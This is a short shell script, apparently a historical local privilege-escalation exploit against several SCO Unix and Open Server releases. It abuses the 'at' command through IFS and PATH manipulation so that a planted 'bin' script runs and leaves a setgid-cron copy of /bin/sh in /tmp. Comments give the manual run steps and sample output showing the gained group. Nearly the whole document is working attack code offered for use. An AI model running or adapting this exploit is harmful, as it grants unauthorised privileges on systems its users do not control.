#!/bin/sh

#  SCO Unix System V/386 Release 3.2 Versions 4.2, 4.1, and 4.0
#  SCO Open Desktop Lite Release 3.0
#  SCO Open Desktop Release 3.0 and 2.0
#  SCO Open Server Network System Release 3.0
#  SCO Open Server Enterprise System Release 3.0

cat > atbug << _EOF_

IFS=/
export IFS
PATH=.:$PATH
export PATH
cat > bin << EOF
#!/bin/sh
IFS=" " export IFS
cp /bin/sh /tmp/sh.$$
chgrp cron /tmp/sh.$$
chmod 2755 /tmp/sh.$$
EOF
chmod 777 bin
at 1200 < /dev/null
IFS=" " export IFS
echo created /tmp/sh.$$
exit 0
_EOF_


# EXCUTE THIS MANUALLY
# chmod 700 atbug
# ./atbug
# warning: commands will be executed using /bin/sh
# job XXXXXXXXX.a at <whatever>
# created /tmp/sh.20558
# /tmp/sh.1485
# id    .... egid=16(cron) ....    